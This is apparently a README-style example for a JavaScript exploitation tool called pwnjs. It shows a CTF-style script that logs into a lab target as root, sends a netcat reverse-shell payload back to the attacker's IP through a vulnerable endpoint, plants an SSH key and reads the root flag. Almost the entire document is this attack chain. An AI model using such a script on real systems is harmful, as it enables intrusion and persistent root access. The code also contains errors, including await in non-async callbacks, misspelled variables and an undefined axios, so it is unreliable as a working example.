Example

payload.js

module.exports = async ({
  request,
  payloads,
  keys,
  nc,
  log,
  createCookieJar,
  step,
}) => {
  const myip = '10.10.10.13';
  const targetip = '10.10.10.15';
  const cookies = createCookieJar();
  const sshKey = await keys();

  step('login', async () => {
    await axios.post(`http://${targetip}/login`, {
      username: 'root',
      password: 'foobar',
    }, {
      jar: cookies,
    });
  })
  
  step('add ssh keys', () => {
    const ncPayload = payloads.nc(myip);
    const ncSession = ncPayload.connect();
    await request.post(`http://${targetip}/vulnerable-endpoint`, {
      payload: ncPayload.payload,
    }, {
      jar: cookies,
    });
    await ncSession.addSSHKey(sshKey);
    ncSession.end();
  });

  step('login to ssh', () => {
    const sshSession = sshKey.connect(targetIp, 'root');
    const flag = sshSessionn.exec('cat /root/root.txt');

    log.info('Got flag', flag);
  });
};

pwnjs run payload.js --verbose